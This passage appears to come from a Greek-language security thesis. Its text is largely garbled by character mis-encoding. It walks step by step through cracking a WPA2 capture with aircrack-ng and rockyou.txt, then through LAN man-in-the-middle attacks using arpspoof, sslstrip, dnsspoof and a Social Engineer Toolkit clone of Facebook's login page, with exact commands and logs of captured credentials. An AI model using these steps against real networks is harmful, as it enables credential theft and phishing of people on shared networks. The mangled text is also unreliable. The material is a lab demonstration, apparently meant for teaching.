να βπυ πάπα ποιιά , ςπάπσοςν επγαιεία πος θηηάσνοςν ζςγθεθπηµένο ιεξηθψ. Εγϊ ζα σπεζηµοποηήζυ ένα 

ιεξηθψ ζηεν Kali Linux πος είναη ήδε πος ςπάπσεη µέζα. Πεπηέσεη 14 εθαηοµµωπηα δηαθοπεηηθοωρ 

θυδηθοωρ , ηο µέγεζορ ηος απσείος είναη 44 Mbyte θαη ηο ψνοµά ηος είναη rockyou.txt.gz γηαηί είναη ζε 

ζςµπηεζµένε µοπθή οπψηε ζα ππέπεη να ηο αποζςµπηέζυ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.171 ηο απσείο rockyou.txt.gz βπίζθεηαη ζηεν ζέζε /usr/share/wordlists/ θαη ζα ηο αποζςµπηέζυ µε 

ηο ππψγπαµµα gunzip δίνονηαρ ηεν ενηοιή gunzip rockyou.txt.gz . 
 

Θέιυ να ζεµεηϊζυ ψηη ηο ιεξηθψ rockyou.txt θάνεη ποιω θαιή δοςιεία ζηο εξυηεπηθψ γηαηί ψιοη οη θυδηθοί 

πος σπεζηµοποηοων ζηο εξυηεπηθψ θαηά θωπηο ιψγο είναη βαζηζµένο ζε αγγιηθέρ ιέξεηρ θαη ςπάπσεη µεγάιε 

πηζανψηεηα να ςπάπσεη ο θυδηθψρ µέζα ζε αςηψ ηο ιεξηθψ ή άιιο παπψµοηο. Αιιά γηα ηα δεδοµένα ηερ 

Ειιάδαρ πος οη πεπηζζψηεποη θυδηθοί είναη βαζηζµένοη ζε ειιενηθέρ ιέξεηρ είναη ποιω δωζθοιο να βπεζεί 

έναρ θυδηθψρ ηέηοηορ µέζα ζηο rockyou.txt. Γηα ηα δεδοµένα ηερ Ειιάδαρ ζα σπεηαζηοωµε άιιο ιεξηθψ 

ψπος ζα είναη αποηειεζµαηηθψ. ΢ηο ζςγθεθπηµένο πείπαµα πάνηυρ βπίζθεηε ο θυδηθψρ µέζα ζηο ιεξηθψ. 

Μποπεί θάποηορ να θηηάξεη ένα πποζαπµοζµένο ιεξηθψ γηα ζςγθεθπηµένοςρ ζηψσοςρ. 
 
 
 
 

 

εηθψνα 3.172 ζα δϊζυ ηεν ενηοιή airckrack-ng -w rockyou.txt -b 00:1E:E5:95:7D:70 siegingWPA2-02.cap . 

siegingWPA2-02.cap έηζη ονψµαζε ηο απσείο ηο kali linux ψηαν ζηεν απσή πος δήιυζα αςηψ ηο ψνοµα να 

αποζεθεωονηαη ηα παθέηα ψηαν ζα γίνεηε ε θαηαγπαθή. Επεηδή ππην απψ αςηήν ηεν παποςζίαζε ηο είσαν 

ξαναδϊζεη αςηψ ηο ψνοµα ζε άιιο wpa2 θαη ςπήπσε ήδε αςηψ ηο απσείο απψ µψνο ηος ηο ονψµαζε 

siegingWPA-02.cap αιιηϊρ ζα ηο ονψµαζε siegingWPA-01.cap . 

 

΢ηεν ενηοιή δίνυ ηο ψνοµα ηος ιεξηθοω ηο rockyou.txt γηα να απσίζεη ηο brute force µέσπη να βπεζεί 

ο θυδηθψρ. 
 
 

 

΋ηαν ζα ξεθηνήζεη ηο brute force µεηά απψ αςηψν ηον θυδηθψ µέζα ζε αςηψ ηο παθέηο ςπάπσεη θαη ηο 

preshared key(PSK) πος ηο γνυπίδεη µψνο ο access point θαη ο νψµηµορ client πος ζα ζςνδεζεί. Αν ο θυδηθψρ 

ςπάπσεη µέζα ζηο ιεξηθψ ςπάπσεη ηψηε ηο PSK ζα αποθαιςθζεί. Αν ο θυδηθψρ πος ςπάπσεη είναη 
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πεπίπιοθορ , δειαδή να είναη πάνυ απψ 10 σαπαθηήπερ να ζςνδςάδεη πεδά θεθαιαία ζωµβοια ηψηε ε 

πηζανψηεηα να ςπάπσεη µέζα ζε ένα ιεξηθψ είναη παπά ποιω µηθπή. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.173 µψιηρ οιοθιεπϊζεθε ε επίζεζε bruteforce θαη ο θυδηθψρ βπέζεθε. Ήηαν ο θυδηθψρ 
 
vampires23. 
 

Σο aircrack πήπε ηον θυδηθψ απψ ηο απσείο θαη δεµηοςπγϊνηαρ ένα PSK είδε ψηη ήηαν ηο ίδηο µε αςηψ 

πος θαηέγπατε θαηά ηο monitoring. 
 
 

 

3.7 Υποκλοπή δεδομζνων με επίθεςη Man In The Middle ςτο LAN 
 
 
 

 

Απψ ηεν ζηηγµή πος ο θαθψβοςιορ σπήζηερ εηζβάιεη ζηο ηοπηθψ δίθηςο ενψρ σπήζηε συπίρ να ηο ξέπεη 

µποποων να ζςµβοων ένα ζυπψ παπάνοµερ ενέπγεηερ συπίρ να ηο ξέπεη ο δηασεηπηζηήρ. Θα αναδείξυ 2 

ηεσνηθέρ man in the middle απψ ηηρ δεθάδερ πος ςπάπσοςν γηαηί θαιωηεπα να ξέπεη έναρ ηη µποπεί να 

ζςµβεί γηα να ιάβεη πποιεπηηθά µέηπα παπά να ηεν παηήζεη ιψγος άγνοηαρ. 
 
 

 

Σϊπα πος έσυ ζπάζεη ηο ηοπηθψ δίθηςο θαη έσυ µπεη µέζα ζα σπεζηµοποηήζυ ένα επγαιείο ηος Kali Linux 

µε ψνοµα SSLStrip. Σο SSLstrip είναη ένα επγαιείο γηα man in the middle επηζέζεηρ πος επηηπέπεη ζηον 

επηηηζέµενο να σεηπαγυγήζεη ηεν θίνεζε ηυν παθέηυν ηος δηθηωος θαη να θαηαγπάτεη δεδοµένα ψπυρ 

usernames θαη passwords. Η βαζηθή ιεηηοςπγία ηος ποηο ζςγθεθπηµένα είναη ψηαν έναρ σπήζηερ ζηο δίθηςο 

ζηέινεη ζε µία ηζηοζειίδα ένα https request ππην θωγεη αςηψ ηο request απψ ηο gateway ηος router ζα 

πεπάζεη ππϊηα απψ ηο laptop ηος επηηηζέµενος θαη απψ https request ζα ηο µεηαηπέτεη ζε http request θαη 

ωζηεπα ζα ηο αναδποµοιογίζεη ζηον πποοπηζµψ ηος. Με αςηψν ηον ηπψπο ζα µποπεί θάποηορ να 

θαηαγπάθεη ηεν θίνεζε ηος δηθηωος συπίρ να είναη θπςπηογπαθεµένε γηαηί ηο https request δεν έθηαζε 

ποηέ ζηον πποοπηζµψ ηος. 
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εηθψνα 3.174 ηπψπορ ιεηηοςπγίαρ ηος sslstrip ζε ζσεδηάγπαµµα θαζϊρ εξειίδεηε µία επίζεζε man in the 
 

middle. 
 

Αρ πποσυπήζυ ζηεν ππάξε να δοωµε πυρ γίνεηε ζηεν ππαγµαηηθψηεηα. Σο ππϊηο ππάγµα πος ππέπεη να 

γίνεη είναη να έσυ γνϊζυ ηερ ip δηεωζςνζερ πος µος έσεη δϊζεη ο dhcp server ηος router ψηαν ζςνδέζεθα 

ζηο δίθηςο. Επίζερ ένα δεωηεπο πος ππέπεη να γνυπίδυ είναη πψζα µεσανήµαηα είναη ζςνδεµένα ζηο 

local network θαη ποηερ ip έσοςν. 
 

εηθψνα 3.175 ζα 
 

ηπέξυ ζηο 

ηεπµαηηθψ ηεν 

ενηοιή ifconfig. Θα 

εµθανίζεη ηεν ip 

δηεωζςνζε πος έσυ 

ζηο ηοπηθψ δίθηςο 
 
πος είναη 192.168.1.103 ζηεν αζωπµαηε θάπηα δηθηωος ηος ιαπηοπ πος ζςµβοιίδεηε ζηο kali linux 

υρ wlan0. 

 

Η δεωηεπε θίνεζε πος ζα θάνυ ππην ξεθηνήζυ ηεν επίζεζε ζα είναη να ζθανάπυ ηο δίθηςο µε ηο επγαιείο 

nmap. Θα δϊζυ ζηο ηεπµαηηθψ ηεν ενηοιή nmap -sS -O 192.168.1.1/24 ψπος απσίζεη µία ζάπυζε ψιος ηος 

δηθηωος θαη ζα εµθανίζεη ψιοςρ ηοςρ host πος είναη ζςνδεµένοςρ , θαη ποηα ports είναη ανοησηά γηα να 

εξςπεπεηοων θάποηερ ςπεπεζίερ. 
 

εηθψνα 3.176 έσεη 
 

ζθανάπεη θάποηα 

µεσανήµαηα. ηα 

αποηειέζµαηα είναη ποιιά 

αιιά δεν ζα ηα δείξυ ψια 

ζηο screenshot γηαηί ζα 

έπηανε ποιιέρ ζειίδερ. 

 

΢ηο ζςγθεθπηµένο 

screenshot ζηεν πάνυ 

ζειίδα είναη ηο αποηέιεζµα 
 
πος βπήθε ηος router ηος δηθηωος πος ζα ηο σπεηαζηϊ ζηεν ζςνέσεηα. Θα τάξυ µέζα ζηα αποηειέζµαηα 

θαη γηα ηο µεσάνεµα ζηψσο ψπος ζα ππαγµαηοποηεζεί ε επίζεζε. 
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εηθψνα 3.177 αςηψρ είναη ο ζηψσορ µε δηεωζςνζε 192.168.1.100. Είναη ένα µέπορ απψ ηο report απψ ηο scan 
 

ηος Nmap. 
 
 

 

Αθοω γνυπίδυ αςηέρ ηηρ πιεποθοπίερ ηο επψµενο βήµα είναη να σπεζηµοποηήζυ ένα επγαιείο ηο arpspoof. 

Με αςηψ ηο επγαιείο ζα επηηεζϊ ζηο router ψπος ο router µέζα έσεη ένα arp table (address resolution 

protocol) ψπος ξέπεη ποηα δηεωζςνζε ip ανηηζηοησεί ζε ποηο mac address ηος µεσανήµαηορ µέζα ζηο 

ηοπηθψ δίθηςο. Η δοςιεία ηος arpspoof είναη να ζηέινεη τεωηηθά arp requests ζηον router θαη να παπηζηάνεη 

ηο µεσάνεµα ηος ζωµαηορ θαη ψση ηος attacker θαη πάιη ο επηηηζέµενορ να ζηέινεη arp request ζηο ζωµα 

θαη να πποζποηεηέ ψηη είναη ο router θαη ψση ο επηηηζέµενορ. Αςηψ γίνεηε µε ηηρ εξήρ ενηοιέρ. 
 
 
 
 
 

 

εηθψνα 3.178 
 

ππην ξεθηνήζυ 

ηο arp spoof ζα 

δϊζυ ηεν 

ενηοιή ζηο kali 

linux echo 1 > 
 
/proc/sys/net/ipv4/ip_forward ψπος αςηή ε ενηοιή ιέεη ζηο ιεηηοςπγηθψ ψηη ψηαν ηο ζωµα ζα απσίζεη να 

ηος ζηέινεη ηα παθέηα ηος να ηα αναδποµοιογεί αθπηβϊρ ψπυρ θάνεη ο router. ∆ειαδή να πάπεη ηον πψιο 

ηος router γηα να γίνεηε θανονηθά ε δηαδηθαζία ζηο δίθηςο. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.179 µε ηεν 
 

ενηοιή arpspoof -i wlan0 -t 

192.168.1.100 -r 192.168.1.1 απσίδεη ηο επγαιείο arpspoof ηο arp poisoning παπηζηάνονηαρ ηον router ζηο 

µεσάνεµα ζηψσο 192.168.1.100 θαη παπηζηάνονηαρ ηο µεσάνεµα ζηψσο ζηον router µε αποηέιεζµα ψιε ε 
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θίνεζε να πεπνάεη µέζα απψ ηο kali linux οηηδήποηε ζηέινεη ο 192.168.1.100 ζηο ίνηεπνεη ή 

οηηδήποηε έπσεηαη απψ ηο ίνηεπνεη ζηον 192.168.1.100. 

 

Σϊπα αθοω πεπνάεη ψιε ε θίνεζε µέζα απψ ηον ςποιογηζηή ηο µψνο πος µένεη είναη θαζϊρ ηπέσεη ηο 

arpspoof ζε ένα δεωηεπο ηεπµαηηθψ να ενεπγοποηήζυ ηο SSLstrip. Με αςηψ ηο αποηέιεζµα ο ψηαν ηο 

µεσάνεµα ζηψσορ 192.168.1.100 ζα ζέιεη να ζηείιεη ένα https request ψπυρ παπάδεηγµα ζηο facebook ζα ηο 

ζηείιεη ζε εµένα νοµίδονηαρ ψηη ηο έζηεηιε ζηο router θαη ζα ηο αναδποµοιογίζυ ζηο router πος ζα ηο 

αναδποµοιογίζεη ζηο facebook µε ηεν µψνε δηαθοπά ψηη ενηί να ζηείιυ https request ψπος ζα ξεθηνήζεη µία 

θπςπηογπαθεµένε ζωνδεζε ζα ζηείιυ ένα http request ψπος ζα ξεθηνήζεη µία ζωνδεζε ψπος δεν ζα είναη 

θπςπηογπαθεµένο. 
 
 
 
 
 

 

εηθψνα 3.180 δίνυ ζε 
 

ένα δεωηεπο 

ηεπµαηηθψ ηεν ενηοιή 

sslstrip -l 8080 

 

Σο µεσάνεµα ζηψσορ 

είναη ένα desktop µε 

ιεηηοςπγηθψ ζωζηεµα 

windows 7 professional 

64 bit θαη ζα 
 
πποζπαζήζυ να ζςνδεζϊ ζηηρ ηζηοζειίδερ instagram θαη facebook µέζυ ηος browser google chrome. 

Σο sslstrip ζα ππέπεη να αναµεηαδϊζεη ψηη ηο µεσάνεµα ζέιεη να ζςνδεζεί ζε αςηέρ ηηρ ηζηοζειίδερ 

αιιά µε http ππυηψθοιιο. 
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εηθψνα 3.181 ζηο µεσάνεµα ζηψσορ ψπος ζα έπεζε ζωµα απψ επίζεζε Man in middle ζςνδέζεθα ζηον 

browser google chrome. Πιεθηποιψγεζα ηο url www.instagram.com θαη έηπεξε ζαν http request θαη ψση ζαν 

https θπςπηογπαθεµένο session θαη συπίρ ηο τεθηαθψ πηζηοποηεηηθψ ηος Instagram πος εµθανίδεη ζςνήζυρ. Αν 

έναρ σπήζηερ είναη αππψζεθηορ θαη δεν παπαηεπήζεη ψηη ε ζειίδα θψπηυζε συπίρ ηο https ζα πέζεη ζωµα αςηήρ 

ηερ επίζεζερ. ΢αν είζοδο σπήζηε έβαια γηα username whatismyusername θαη γηα θυδηθψ ηο whatismypassword 

να δυ άµα ηο sslstrip ηα θαηαγπάτεη ζε ένα log file. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.182 έηπεξα ζηο google chrome ηo url www.facebook.com θαη ψπυρ θαίνεηε ανηαποθπίζεθε ε 
ζειίδα µε http session οπψηε ψιε ε θίνεζε ηυν παθέηυν δεν είναη θπςπηογπαθεµένε. Θα δϊζυ ηα ζηοησεία γηα 

είζοδο σπήζηε ηα εξήρ : γηα ψνοµα σπήζηε ηο whatismyusernamefacebook θαη γηα θυδηθψ σπήζηε ηο 

whatismypasswordfacebook. 
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εηθψνα 3.183 ηϊπα αθοω θαηαγπάθεθε ψιε αςηή ε θίνεζε θαη ηα παθέηα συπίρ θπςπηογπάθεζε ήπζε ε ϊπα 

ηερ ανάγνυζερ ηυν δεδοµένυν πος αποζήθεςζε ηο sslstrip. ∆ςζηςσϊρ δεν ηα εµθανίδεη θαηεςζείαν ζηο cmd ηα 

ζηοησεία αιιά ηα αποζεθεωεη by default ζε ένα log file ζηεν ζέζε root "/" µε ψνοµα απσείος sslstrip.log . Γηα να 

γίνεη ανάγνυζε ηος απσείος ζα πιεθηποιογήζυ ζηο cmd cat sslstrip.log. ΢ηεν παπαπάνυ εηθψνα ψπυρ θαίνεηε 

θαηέγπατε ηο username θαη ηον θυδηθψ ψηαν πποζπάζεζα να ζςνδεζϊ ζηο instagram. 
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εηθψνα 3.184 ζηο παπαπάνυ logfile µεηά πος πποζπάζεζα να ζςνδεζϊ ζηο facebook θαηέγπατε ηεν 
ζωνδεζε θαη ηα ζηοησεία πος έβαια ζηεν ηζηοζειίδα µε αναγνϊζηµα δεδοµένα αθοω ε ζωνδεζε ήηαν συπίρ 

θπςπηογπάθεζε. Όζηεπα ηα ππψζζεζε ζηο log file µαδί µε ηα πποεγοωµενα ζηοησεία ηος Instagram. 
 
 
 
 
 
 
 
 
 
 
 

 

3.8 Υποκλοπή δεδομζνων με Social engineer toolkit επίθεςη Man In The Middle ςτο LAN 
 
 
 

 

΢ε αςηήν ηεν επίζεζε man in the middle ζα δείξυ πυρ γίνεηε να δεµηοςπγήζυ έναν αθπηβέρ θιϊνο µίαρ 

ηζηοζειίδαρ , να αναθαηεςζωνυ ηεν θίνεζε ηυν παθέηυν ζηο δίθηςο θαη µε ηποποποίεζε ηος DNS να 

ξεγειαζηεί ο σπήζηερ θαη να θαιέζεη ηον θιϊνο ηερ ηζηοζειίδαρ πος ζέιεη να µπεη θαη ψση ζηεν 

ππαγµαηηθή ηζηοζειίδα. Γηα να ππαγµαηοποηεζεί αςηψ ζα σπεζηµοποηήζυ ηα εξήρ επγαιεία. Σο ππϊηο είναη 

ηο Kali Linux 64 bit. Ένα ιεηηοςπγηθψ ζωζηεµα πος είναη ποω σπήζηµο γηα θάποηον πος αζσοιείηαη µε ηο 

penetration testing. Είναη ένα ιεηηοςπγηθψ ζωζηεµα µε µία γθάµα απψ ποιιά επγαιεία γηα penetration 
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testing. Σα ςπψιοηπα επγαιεία πος ζα σπεηαζηϊ βπίζθονηαη ψια πποεγθαηεζηεµένα µέζα ζηο kali linux θαη 

είναη ηο arpspoof ψπος ηο είδαµε ζηεν πποεγοωµενε επίζεζε. Σο dnsspoof ψπος αναθαηεςζωνεη έναν ζηψσο ζε 

µία ζειίδα πος έσεη δηαιέξεη ο επηηηζέµενορ ζα δοωµε θαη ζηεν ππάξε , θαη ηο Social engineer toolkit. 

 
 

 

Ππην ξεθηνήζυ ηεν δηαδηθαζία ηερ επίζεζερ man in the middle ζα ππέπεη να αναθαηεςζωνυ ηεν ποή ηυν 

παθέηυν µέζα ζηο ςποδίθηςο ψπυρ έθανα θαη ζηεν πποεγοωµενε επίζεζε. Οπψηε ζα σπεζηµοποηήζυ πάιη 

ηο επγαιείο arpspoof ππην θάνυ οηηδήποηε άιιο γπάθονηαρ ηο cmd ηος Kali Linux ηηρ εξήρ ενηοιέρ. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.185 µε 
 

αςηήν ηεν ενηοιή ο ςποιογηζηήρ µαρ ψηαν ζα παίπνεη ηα παθέηα απψ θάποηον σπήζηε ζα ηα ππουζεί 

µεηά ππορ ηον router γηα να θηάνοςν ζηον ηειηθψ πποοπηζµψ ηοςρ.Θα εξεγήζυ γηα ποηον ιψγο ζα ηο 

σπεηαζηϊ αςηψ ηο επγαιείο ποηο µεηά. 
 

εηθψνα 3.186 µε αςηήν ηεν 

ενηοιή ειέγσυ ηεν ποή ηυν 

παθέηυν δεδοµένυν απψ ηον 

ζηψσο 192.168.1.100 ππορ 

ηον router 192.168.1.1 θαη 

ανηίζηποθα δειαδή ηεν ποή 

παθέηυν δεδοµένυν απψ ηο 
 

192.168.1.1 ππορ ηο 

192.168.1.100.Θα ηο αθήζυ 

γηα ηεν ϊπα να ηπέσεη θαη αρ 
 
µεν ηο σπεηαζηϊ.Θα εξεγήζυ απγψηεπα γηα ποηο ιψγο ζα σπεηαζηεί. 
 

Ο ζηψσορ απψ ένα desktop windows 7 professional 64bit ζα ζέιεη να ζςνδεζεί ζηον θοηνυνηθψ ηζηψηοπο 

facebook. Εγϊ ζαν attacker ζα πποζπαζήζυ να ηος πάπυ ηο username θαη ηον θυδηθψ πος σπεζηµοποηεί 

ο ζηψσορ. Οπψηε αςηψ πος ζα ππέπεη να θάνυ γηα απσή είναη να δεµηοςπγήζυ έναν θιϊνο ηος facebook 

θαη ζςγθεθπηµένα ηεν ζειίδα ηος log in ηος Facebook. Γηα να ππαγµαηοποηεζεί αςηψ ζα σπεζηµοποηήζυ 

ηο επγαιείο πος ιέγεηε social engineer toolkit πος βπίζθεηαη µέζα ζηο kali linux πποεγθαηεζηεµένο. 
 

εηθψνα 3.187ππην ηπέξυ 
ηο social engineer toolkit ή 

 

αιιηϊρ set ζα ηο θάνυ 

ππϊηα update. Η ζέζε πος 

είναη εγθαηεζηεµένο ηο set 

ζηο Kali Linux 2 είναη ζηο 
 

/usr/share/set θαη απψ ηο 
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cmd δίνυ ηο command cd  /usr/share/set γηα να πάυ µέζα ζηον θάθειο ηος social engineer 
 
toolkit. Βιέπυ ψηη µέζα ζηον θάθειο ςπάπσεη ένα απσείο ψπος ιέγεηε seupdate ψπος είναη ηο απσείο πος 

ειέγσεη γηα updates ζηο ππψγπαµµα θαη αν ςπάπσοςν ζα απσίζεη να θάνεη update. Σο ηπέσυ µε ηεν ενηοιή 

./seupdate . 
 
 
 
 
 

 

Αθοω ηο social engineer toolkit γίνεη updated ηψηε ζα ηο ηπέξυ απψ ηο γπαθηθψ πεπηβάιιον ηος Kali Linux. 
 

εηθψνα 3.188 απψ ηεν επηθάνεηα 
επγαζίαρ πάνυ αν θάνυ απηζηεπψ 

θιηθ ζηεν επηιογή Applications ηο 

social engineer toolkit ζα ηο βπυ 

ζηεν θαηεγοπία Exploitation tools  
θαη απψ εθεί ηο επηιέγυ. 

 
 
 
 
 
 
 
 
 
 
 

 

ψηαν ζα ηπέξεη ηο 
 

social engineering 

toolkit ζα ανοίξεη ένα cmd 

παπάζςπο θαη οη ενηοιέρ ζα 

εθηειοωνηαη απψ εθεί ανάιογα ηηρ 

επηιογέρ πος δίνεη ο σπήζηερ 

θάζε θοπά. Η ππϊηε επηιογή πος 

ζα δϊζυ ζα είναη ηο 1 ψπος είναη 

επηζέζεηρ θοηνυνηθήρ 

σεηπαγϊγεζερ. Επηζέζεηρ 

θοηνυνηθήρ σεηπαγϊγεζερ είναη 

ψπος ο επηηηζέµενορ πποζπαζεί 

να ξεγειάζεη ηον ζηψσο ψση απψ 

θάποηο θενψ αζθαιείαρ ε θάποηα 

αδςναµία ηος ζςζηήµαηορ αιιά 
 
πποζπαζεί να ξεγειάζεη µε ηέσναζµα ηον ίδηο ηον σπήζηε. 
 
 
 
 
 
 
 

 

135 

 

εηθψνα 3.189 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.190 ζηεν επψµενε επηιογή ζα δϊζυ ηεν επηιογή 2 θαη ζα παηήζυ enter. ε επηιογή 2 ζα 
εµθανίζεη άιιερ επηιογέρ ψπος ζα δηαιέγεηρ µία ζςγθεθπηµένε επίζεζε πος ζα σπεζηµοποηεί ηζηοζειίδερ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.191 ζε αςηέρ ηηρ επηιογέρ ψιερ έσοςν να θάνοςν µε ηζηοζειίδερ ψπος θάζε µία είναη γηα 
δηαθοπεηηθέρ επηζέζεηρ. Εγϊ ζα παηήζυ ηεν επηιογή 3 ψπος ε σπεζηµψηεηα αςηήρ ηερ επίζεζερ ζα είναη να 

ανηηγπάθεη ηζηοζειίδερ θαη να θαηαγπάθεη δεδοµένα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

136 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.192 ζε αςηέρ ηηρ επηιογέρ ζα δϊζυ ηεν επηιογή 2 ψπος ζα ξεθηνήζεη ε θιυνοποίεζε µίαρ 
 
ηζηοζειίδαρ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.193 αθοω ζηο social engineering toolkit έσυ δϊζεη ψιερ ηηρ ιεπηοµέπεηερ ηερ επίζεζερ πος 

ζσεδηάδυ να θάνυ µεηά ζα µος δεηήζεη ηεν ip ηος µεσανήµαηορ ψπος ζα είναη ο server ηος θιϊνος ηερ 

ηζηοζειίδαρ. αθοω αςηψρ ο θιϊνορ ζα βπίζθεηαη πάνυ ζηο µεσάνεµα ηος επηηηζέµενος ζα βάιυ ηεν ip ηος kali 

linux πος έσεη ζηο ηοπηθψ δίθηςο. Μεηά ζα µος δεηήζεη ποηα ηζηοζειίδα ζέιυ να θάνεη θιϊνο θαη ηος δίνυ ηεν 

δηεωζςνζε ηος facebook θαη µπαίνεη ζηεν δηαδηθαζία ηο social engineering toolkit να θάνεη θιϊνο ηεν ζειίδα 

ηος log in ηος facebook. 
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εηθψνα 3.194 αθοω ηειείυζε ε θιυνοποίεζε ηος facebook ηο social engineering toolkit πυηάεη αν ζέιεη να 

ενεπγοποηήζεη ηον apache server ϊζηε ηο kali linux ψηαν ζα ηο επηζθέπηεηαη άιιο µεσάνεµα απψ ηο lan να 

ηπέσεη θανονηθά ηεν ζειίδα πος θιυνοποίεζε. ΢ηο δίπια cmd ηο arpspoof είναη αθψµα ενεπγοποηεµένο θαη ζα 

δοωµε µεηά πος ζα σπεηαζηεί. 

 

Αθοω έσεη θιυνοποηεζεί ε ηζηοζειίδα θαη είναη ενεπγοποηεµένε ε ςπεπεζία ηος apache server ϊζηε ηο kali 

linux να δοςιεωεη ζαν server µέζα ζηο ηοπηθψ δίθηςο ζα δοθηµάζυ απψ ηον άιιον ςποιογηζηή αν µποπϊ 

να ζςνδεζϊ ζηεν τεωηηθε ηζηοζειίδα ηος facebook. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.195 απψ ηον google chrome γπάθυ ηεν δηεωζςνζε πος έσεη ηο kali linux ζηο ηοπηθψ δίθηςο θαη 
ψπυρ θαίνεηε ο θιϊνορ ηερ ηζηοζειίδαρ θοπηϊνεη θανονηθά ζηον browser. Άιια επεηδή θανείρ δεν ςπάπσεη 

πεπίπηυζε να πέζεη ζε αςηήν ηεν παγίδα γηαηί θανείρ δεν ζα γπάτεη ηο 192.168.1.103 ο θψπορ ζα είναη 
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άθαππορ ππέπεη να σπεζηµοποηήζυ ένα επγαιείο ηο dnsspoof ψπος ψηαν θαιείρ µία ηζηοζειίδα αςηψ ζα 

ζε πεγαίνεη ψπος έσεη δειϊζεη ο επηηηζέµενορ! 
 

εηθψνα 3.196 
 

πίζυ ζηο kali linux 
 

θαη ανοίγυ νέο 

ηεπµαηηθψ. Ππην 

ξεθηνήζυ ηο dns 
 
spoofing ζα ππέπεη να θηηάξυ ένα txt ψπος να ανηηζηοησεί ηηρ ηζηοζειίδερ µε ip δηεςζωνζεηρ πος ζα 

δηαιέξεη ο επηηηζέµενορ. Οπψηε γηα να θηηάξυ αςηψ ηο txt ζα γπάτυ ηεν ενηοιή echo "192.168.1.103 

http://www.facebook.com" >> ~/hostss.txt ψπος ζα θηηάξεη ένα απσείο µε ψνοµα hostss.txt 
 
µε πεπηεσψµενο µία ζεηπά πος ζα ανηηζηοησεί ηεν δηεωζςνζε ηος kali linux µε ηεν δηεωζςνζε ηος facebook. 

Θα µποποωζα να βάιυ θαη πεπηζζψηεπερ γπαµµέρ ψπος να ανηηζηοησϊ url ηζηοζειίδυν µε άιιερ ip ή µε 

ηεν ίδηα ip αιιά ζηο ζςγθεθπηµένο πείπαµα ζα σπεηαζηϊ µψνο αςηήν ηεν ζεηπά ανηηζηοησίαρ ζηο txt.Σο 

απσείο hostss.txt βπίζθεηε ζηεν ζέζε "/". 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.197 αθοω ψια είναη έηοηµα , ηο set έσεη θάνεη ηον θιϊνο ηος facebook , ηο arpspoof είναη 
ενεπγοποηεµένο γηα να πεπνάεη ε θίνεζε ηυν παθέηυν ηος ζηψσος απψ ηο kali θαη ηο dnsspoof γηα να 

ζηέινεη άιιε ηζηοζειίδα απψ αςηήν πος δεηάεη ο ζηψσορ ψια είναη έηοηµα γηα ηεν επίζεζε. 
 
 
 
 
 

 

Η επίζεζε γηα να ππαγµαηοποηεζεί ζα ππέπεη ο επηηηζέµενορ να έσεη εηζβάιεη µέζα ζηο lan θαη να έσεη 

ενηοπίζεη ηεν ip δηεωζςνζε πος δείσνυ πυρ ποηο πάνυ µε ηο επγαιείο nmap. ωζηεπα µε ηο επγαιείο 

arpspoof πος εξεγϊ ζηεν πποεγοωµενε επίζεζε , να πεπνάεη ψιε ηεν ποή ηυν παθέηυν µέζα απψ ηο 

µεσάνεµα ηος επηηηζέµενος θαη ωζηεπα ζα ηα ππουζεί ζηον router. Σο dnsspoof γηα ψηαν πεπάζεη θάποηο 

παθέηο dns request µέζα απψ ηο µεσάνεµα ηος kali linux να απανηήζεη ηο dnsspoof ζηον ζηψσο µε ένα 

τεωηηθο dns reply µε ηεν δηεωζςνζε Ip πος έσεη δειϊζεη ο επηηηζέµενορ θαη ζηεν πποθεηµένε πεπίπηυζε 

ζα είναη ε ip ηος kali πος ηπέσεη ο θιϊνορ ηερ ζειίδαρ ηος facebook. To social engineering toolkit ζα 

ηπέσεη ηαςηψσπονα ψπος ζα έσεη θάνεη θιϊνο ηεν ηζηοζειίδα , ζα έσεη ενεπγοποηήζεη ηον apache server να 

εξςπεπεηεί ηα µεσανήµαηα ηος ηοπηθοω δηθηωος θαη να θαηαγπάτεη ζε ένα report ηα δεδοµένα πος έπηαζε. 

Σο µψνο πος µένεη είναη να ζςνδεζεί ο ζηψσορ ζηο facebook απψ ηο µεσάνεµα ηος. 
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απψ ηον google chrome ζηον ςποιογηζηή ηος ζηψσος ζα πιεθηποιογήζυ ηεν δηεωζςνζε 
 
http://www.facebook.com. ΋πυρ θαίνεηε ηο dnsspoof έδπαζε θαη έζηεηιε ηον ςποιογηζηή ηος ζωµαηορ ζηον 

apache server πος θηιοξενεί ηον θιϊνο ηος facebook πος δεµηοςπγήζεθε απψ ηο social engineering toolkit. 
 
΋πυρ θαίνεηε ζηεν εηθψνα ηο µψνο ωποπηο πος ςπάπσεη είναη ψηη δεν θαιέζηεθε ε ζειίδα µε ηο 

ππυηψθοιιο αζθαιείαρ https θαη ηο πηζηοποηεηηθψ ηος facebook απψ δίπια. Ο σπήζηερ ιίγο αππψζεθηορ να 

είναη ή να µεν έσεη ηδέα απψ αςηά θαη να ηο πποζπεπάζεη έηζη έσεη πέζεη ζηα δίσηςα ηος attacker. 
 
 
 
 
 

 

εηθψνα 3.199 ωζηεπα πος 

ζα θάνεη ο ζηψσορ login 

ζηεν τεωηηθε ζειίδα ηος 

facebook ζα µεηαθεπζεί 

ζηεν αιεζηνή ζειίδα 

αςηψµαηα απψ ηο arpspoof. 
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Θα ηος πεηάξεη µήνςµα ψηη έβαιε ιάζορ θυδηθψ θαη ζα ξαναβάιεη ηον θυδηθψ πάιη αιιά εµείρ 

